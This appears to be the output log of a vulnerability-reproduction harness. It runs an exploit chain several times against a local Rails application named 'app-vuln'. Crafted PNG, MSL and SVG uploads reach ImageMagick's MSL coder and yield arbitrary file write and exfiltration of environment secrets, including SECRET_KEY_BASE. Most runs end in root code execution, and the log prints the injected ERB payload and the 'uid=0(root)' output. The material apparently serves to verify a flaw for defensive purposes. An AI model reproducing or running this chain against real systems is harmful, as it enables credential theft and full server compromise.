2026-11-04T14:02:17Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:02:18Z attached channel.png (68 bytes, image/png) -> 2026-11-04T14:04:51Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:04:52Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:04:52Z recovered exfil-channel blob key from the signed disk token: fe8k0q5kmsjoxy2exjuo5r4a43t7 2026-11-04T14:04:52Z exfiltration channel on disk: /app-vuln/storage/fe/8k/fe8k0q5kmsjoxy2exjuo5r4a43t7 2026-11-04T14:04:53Z attached payload.dat (56 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:04:53Z recovered write-payload blob key from the signed disk token: 14t8c3lsn1rbgv95g14oi557anjg 2026-11-04T14:04:53Z write payload (56 bytes) on disk: /app-vuln/storage/14/t8/14t8c3lsn1rbgv95g14oi557anjg 2026-11-04T14:04:53Z attached script.msl (1888 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:04:53Z recovered msl-script blob key from the signed disk token: t3c0s3ff8jvzeagukdhys8grjfa1 2026-11-04T14:04:53Z MSL script on disk: /app-vuln/storage/t3/c0/t3c0s3ff8jvzeagukdhys8grjfa1 2026-11-04T14:04:53Z delivering the SVG that reaches the MSL coder through the analyzer at attach time 2026-11-04T14:04:53Z attached vector.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:04:53Z arbitrary write to /tmp/pruva_arbitrary_write.txt: NOT confirmed ('') 2026-11-04T14:04:54Z exfiltrated 1024 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: False) 2026-11-04T14:04:54Z response after the template write contains command output: None 2026-11-04T14:04:54Z server-side RCE marker: '' 2026-11-04T14:04:54Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 1024, "exfil_contains_secret_key_base": true, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} 2026-11-04T14:08:27Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:08:27Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:08:28Z recovered exfil-channel blob key from the signed disk token: qi0of8ur3t3k2zs14zg214k95zf2 2026-11-04T14:08:28Z exfiltration channel on disk: /app-vuln/storage/qi/0o/qi0of8ur3t3k2zs14zg214k95zf2 2026-11-04T14:08:28Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:08:28Z recovered exfil-canary blob key from the signed disk token: trgnikmwc2xo4ytamdow1yu6lgbq 2026-11-04T14:08:28Z attached payload.dat (56 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:08:28Z recovered write-payload blob key from the signed disk token: w1o0nyszsu5o2se91eeuprv0cxnr 2026-11-04T14:08:28Z write payload (56 bytes) on disk: /app-vuln/storage/w1/o0/w1o0nyszsu5o2se91eeuprv0cxnr 2026-11-04T14:08:28Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:08:28Z recovered msl-env64 blob key from the signed disk token: hkyhykawo6s79takaek9l2su6h0l 2026-11-04T14:08:29Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:08:29Z recovered msl-env128 blob key from the signed disk token: 4xbtxub89rlrpktk4e523clnhs1y 2026-11-04T14:08:29Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:08:29Z recovered msl-env256 blob key from the signed disk token: bylm4n0ezod98brpu3u6vcj1sw0t 2026-11-04T14:08:29Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:08:29Z recovered msl-env512 blob key from the signed disk token: ctjzxlhtl8r832kqdblcmnu4sij6 2026-11-04T14:08:29Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:08:29Z recovered msl-env1024 blob key from the signed disk token: yv3mj2jqpyy6xvlv5nr4d8zd0cvv 2026-11-04T14:08:29Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/9 2026-11-04T14:08:30Z recovered msl-env2048 blob key from the signed disk token: am7wzjwbc0206reuum2xycfh87v4 2026-11-04T14:08:30Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/10 2026-11-04T14:08:30Z recovered msl-env4096 blob key from the signed disk token: ziydf78hs7vnjqb9l81nbt29axlf 2026-11-04T14:08:30Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/11 2026-11-04T14:08:30Z recovered msl-env8192 blob key from the signed disk token: vio5lqupvsrcxi2j5pbd50vpjbid 2026-11-04T14:08:30Z delivering SVG env64: through the analyzer 2026-11-04T14:08:30Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/12 2026-11-04T14:08:30Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:08:31Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("touch /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:08:31Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:08:31Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:08:31Z server-side RCE marker: 'MARKER_PRESENT' 2026-11-04T14:08:31Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"touch /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "MARKER_PRESENT", "rce_ok": true} 2026-11-04T14:11:35Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:11:35Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:11:36Z recovered exfil-channel blob key from the signed disk token: inpirod4d5sieir9yct5l44rvan7 2026-11-04T14:11:36Z exfiltration channel on disk: /app-vuln/storage/in/pi/inpirod4d5sieir9yct5l44rvan7 2026-11-04T14:11:36Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:11:36Z recovered exfil-canary blob key from the signed disk token: 6q30kamyjo7n6r9me740axti1tzf 2026-11-04T14:11:36Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:11:36Z recovered write-payload blob key from the signed disk token: bwvmii57b9k5bupnywxb83pr376f 2026-11-04T14:11:36Z write payload (80 bytes) on disk: /app-vuln/storage/bw/vm/bwvmii57b9k5bupnywxb83pr376f 2026-11-04T14:11:36Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:11:36Z recovered msl-env64 blob key from the signed disk token: u1gqa5vkec80ldrt33ne6tkcy9y3 2026-11-04T14:11:36Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:11:36Z recovered msl-env128 blob key from the signed disk token: euy13f3hoshubwz649bbtkfp1h7u 2026-11-04T14:11:36Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:11:36Z recovered msl-env256 blob key from the signed disk token: 04po52o5e1j1syw92gfa0aexxu4x 2026-11-04T14:11:37Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:11:37Z recovered msl-env512 blob key from the signed disk token: njsaytj4gqb4acj57wbtgmx8h8td 2026-11-04T14:11:37Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:11:37Z recovered msl-env1024 blob key from the signed disk token: 2rndqu1yqb7902j3xonvcbhqxj5b 2026-11-04T14:11:37Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/9 2026-11-04T14:11:37Z recovered msl-env2048 blob key from the signed disk token: crf633ea04gatkibsqd6lczr07bg 2026-11-04T14:11:37Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/10 2026-11-04T14:11:37Z recovered msl-env4096 blob key from the signed disk token: vpw0s8xvs7ymduew92zr68neboez 2026-11-04T14:11:37Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/11 2026-11-04T14:11:37Z recovered msl-env8192 blob key from the signed disk token: 2s5jd0yka1lno91jc04sz9xkfdb4 2026-11-04T14:11:37Z delivering SVG env64: through the analyzer 2026-11-04T14:11:37Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/12 2026-11-04T14:11:38Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:11:38Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_841517157f8b > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:11:38Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:11:38Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:11:38Z server-side RCE marker file content: 'PRUVA_RCE_841517157f8b' (expected 'PRUVA_RCE_841517157f8b') 2026-11-04T14:11:38Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_841517157f8b > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_841517157f8b", "rce_marker_expected": "PRUVA_RCE_841517157f8b", "rce_ok": true} 2026-11-04T14:13:29Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:13:30Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:13:30Z recovered exfil-channel blob key from the signed disk token: 0t2w18ik6d8ajdn5vdffwshn9qkp 2026-11-04T14:13:30Z exfiltration channel on disk: /app-vuln/storage/0t/2w/0t2w18ik6d8ajdn5vdffwshn9qkp 2026-11-04T14:13:30Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:13:30Z recovered exfil-canary blob key from the signed disk token: ml7n2cy4b12pbzvd8v71v2f8dtg7 2026-11-04T14:13:31Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:13:31Z recovered write-payload blob key from the signed disk token: 2kvkw29i4j4hqjcs91v97a7jqaw8 2026-11-04T14:13:31Z write payload (80 bytes) on disk: /app-vuln/storage/2k/vk/2kvkw29i4j4hqjcs91v97a7jqaw8 2026-11-04T14:13:31Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:13:31Z recovered msl-env64 blob key from the signed disk token: 17wye43yrjx3fjil32ptlxc3vnzw 2026-11-04T14:13:31Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:13:31Z recovered msl-env128 blob key from the signed disk token: bdiceiilw8n4e7eqt4kijam1ko6a 2026-11-04T14:13:31Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:13:31Z recovered msl-env256 blob key from the signed disk token: h6hr9tw9btkcbtxtvec0z1we8y44 2026-11-04T14:13:32Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:13:32Z recovered msl-env512 blob key from the signed disk token: kqoq3clzmad3oq885n8znagofcvp 2026-11-04T14:13:32Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:13:32Z recovered msl-env1024 blob key from the signed disk token: z3n2gg0ixajuzeyvm51fks69jay4 2026-11-04T14:13:32Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/9 2026-11-04T14:13:32Z recovered msl-env2048 blob key from the signed disk token: 7xagxi38ui8p7kwsswzz32wnsk1g 2026-11-04T14:13:32Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/10 2026-11-04T14:13:32Z recovered msl-env4096 blob key from the signed disk token: e3gt8plm0noi5vovkc7v6gsispw7 2026-11-04T14:13:32Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/11 2026-11-04T14:13:32Z recovered msl-env8192 blob key from the signed disk token: trd4591p1jlevzekemidvph4rs6a 2026-11-04T14:13:32Z delivering SVG env64: through the analyzer 2026-11-04T14:13:33Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/12 2026-11-04T14:13:33Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:13:33Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_90ccc69c228a > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:13:33Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:13:33Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:13:33Z server-side RCE marker file content: 'PRUVA_RCE_90ccc69c228a' (expected 'PRUVA_RCE_90ccc69c228a') 2026-11-04T14:13:33Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_90ccc69c228a > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_90ccc69c228a", "rce_marker_expected": "PRUVA_RCE_90ccc69c228a", "rce_ok": true} 2026-11-04T14:16:26Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:16:27Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:16:27Z recovered exfil-channel blob key from the signed disk token: dj778ey8p9u19vobip3bdobltw4q 2026-11-04T14:16:27Z exfiltration channel on disk: /app-vuln/storage/dj/77/dj778ey8p9u19vobip3bdobltw4q 2026-11-04T14:16:27Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:16:28Z recovered exfil-canary blob key from the signed disk token: as6x0evoagn3ldyx2d3rfywtw3os 2026-11-04T14:16:28Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:16:28Z recovered write-payload blob key from the signed disk token: qwh15l6tbqt4yr41iivii0vnfl6t 2026-11-04T14:16:28Z write payload (80 bytes) on disk: /app-vuln/storage/qw/h1/qwh15l6tbqt4yr41iivii0vnfl6t 2026-11-04T14:16:28Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:16:28Z recovered msl-env64 blob key from the signed disk token: 2vv4i36003uw6zcza0h81152fq1u 2026-11-04T14:16:28Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:16:28Z recovered msl-env128 blob key from the signed disk token: 0mx7rg23lol74qd3c60y6klrnd93 2026-11-04T14:16:28Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:16:28Z recovered msl-env256 blob key from the signed disk token: pp447mqyvgmu3indpvbisj08krwy 2026-11-04T14:16:28Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:16:28Z recovered msl-env512 blob key from the signed disk token: 34l2jvsofpnktn0bu0h8ggput7d6 2026-11-04T14:16:29Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:16:29Z recovered msl-env1024 blob key from the signed disk token: 17k5ukrrwnpn8dkh11jpn7wigtfm 2026-11-04T14:16:29Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/9 2026-11-04T14:16:29Z recovered msl-env2048 blob key from the signed disk token: 16bzlub9z002m5oxfxru15ipx0y8 2026-11-04T14:16:29Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/10 2026-11-04T14:16:29Z recovered msl-env4096 blob key from the signed disk token: fuc6cy5ee45od04n1g7fvq96y8b7 2026-11-04T14:16:29Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/11 2026-11-04T14:16:29Z recovered msl-env8192 blob key from the signed disk token: c0qkijsmulzim8f2stb8c68158j3 2026-11-04T14:16:29Z delivering SVG env64: through the analyzer 2026-11-04T14:16:29Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/12 2026-11-04T14:16:29Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:16:30Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_0ec1b62c8fd4 > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:16:30Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:16:30Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:16:30Z server-side RCE marker file content: 'PRUVA_RCE_0ec1b62c8fd4' (expected 'PRUVA_RCE_0ec1b62c8fd4') 2026-11-04T14:16:30Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_0ec1b62c8fd4 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_0ec1b62c8fd4", "rce_marker_expected": "PRUVA_RCE_0ec1b62c8fd4", "rce_ok": true} 2026-11-04T14:18:32Z fetched the upload form and its CSRF token; session cookies: ['_repro_app_session'] 2026-11-04T14:18:32Z attached channel.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/1 2026-11-04T14:18:32Z recovered exfil-channel blob key from the signed disk token: ccasi6d4iwdwh6168j8fxmjltay4 2026-11-04T14:18:32Z exfiltration channel on disk: /app-vuln/storage/cc/as/ccasi6d4iwdwh6168j8fxmjltay4 2026-11-04T14:18:33Z attached channel2.png (68 bytes, image/png) -> http://127.0.0.1:3301/uploads/2 2026-11-04T14:18:33Z recovered exfil-canary blob key from the signed disk token: s0mklvqb2um4qp1nkfbk8odqbynu 2026-11-04T14:18:33Z attached payload.dat (80 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/3 2026-11-04T14:18:33Z recovered write-payload blob key from the signed disk token: 94fqgnh3dr04vzivdumc2m2qyhlm 2026-11-04T14:18:33Z write payload (80 bytes) on disk: /app-vuln/storage/94/fq/94fqgnh3dr04vzivdumc2m2qyhlm 2026-11-04T14:18:33Z attached script_env64.msl (743 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/4 2026-11-04T14:18:33Z recovered msl-env64 blob key from the signed disk token: 3260v0d9ero6r2oyjnh5mmegz5fm 2026-11-04T14:18:33Z attached script_env128.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/5 2026-11-04T14:18:33Z recovered msl-env128 blob key from the signed disk token: 4db2717fcl9ogr6jtdnvkchg3k29 2026-11-04T14:18:33Z attached script_env256.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/6 2026-11-04T14:18:33Z recovered msl-env256 blob key from the signed disk token: 0ua99ntu557k353l2mdnqmp7g5xd 2026-11-04T14:18:33Z attached script_env512.msl (744 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/7 2026-11-04T14:18:34Z recovered msl-env512 blob key from the signed disk token: ieozua4pomj245caxn6dg492fxt6 2026-11-04T14:18:34Z attached script_env1024.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/8 2026-11-04T14:18:34Z recovered msl-env1024 blob key from the signed disk token: 9t7wm72jhegfo8fau1ox7vbfl0yo 2026-11-04T14:18:34Z attached script_env2048.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/9 2026-11-04T14:18:34Z recovered msl-env2048 blob key from the signed disk token: 4ni3jhn4qvt7i6snme84g6k9x6su 2026-11-04T14:18:34Z attached script_env4096.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/10 2026-11-04T14:18:34Z recovered msl-env4096 blob key from the signed disk token: 1j14deyxqf7bss0fq4d43sy9htj3 2026-11-04T14:18:34Z attached script_env8192.msl (745 bytes, application/octet-stream) -> http://127.0.0.1:3301/uploads/11 2026-11-04T14:18:34Z recovered msl-env8192 blob key from the signed disk token: 4xa093r9m847ywfhrfap822pgoa8 2026-11-04T14:18:34Z delivering SVG env64: through the analyzer 2026-11-04T14:18:34Z attached vector_env64.svg (305 bytes, image/svg+xml) -> http://127.0.0.1:3301/uploads/12 2026-11-04T14:18:34Z environment read with 64 samples (128 bytes) returned 1664 bytes 2026-11-04T14:18:35Z arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content ('<% system("echo PRUVA_RCE_85b4d706cf08 > /tmp/pruva_rce_marker") %><%= `id` %>\n\n') 2026-11-04T14:18:35Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 2026-11-04T14:18:35Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' 2026-11-04T14:18:35Z server-side RCE marker file content: 'PRUVA_RCE_85b4d706cf08' (expected 'PRUVA_RCE_85b4d706cf08') 2026-11-04T14:18:35Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_85b4d706cf08 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_85b4d706cf08", "rce_marker_expected": "PRUVA_RCE_85b4d706cf08", "rce_ok": true}